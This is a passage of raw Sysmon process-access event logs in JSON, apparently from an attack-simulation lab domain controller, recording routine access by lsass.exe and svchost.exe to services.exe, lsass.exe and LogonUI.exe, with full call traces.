M32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+19dd3|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+19dd3|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 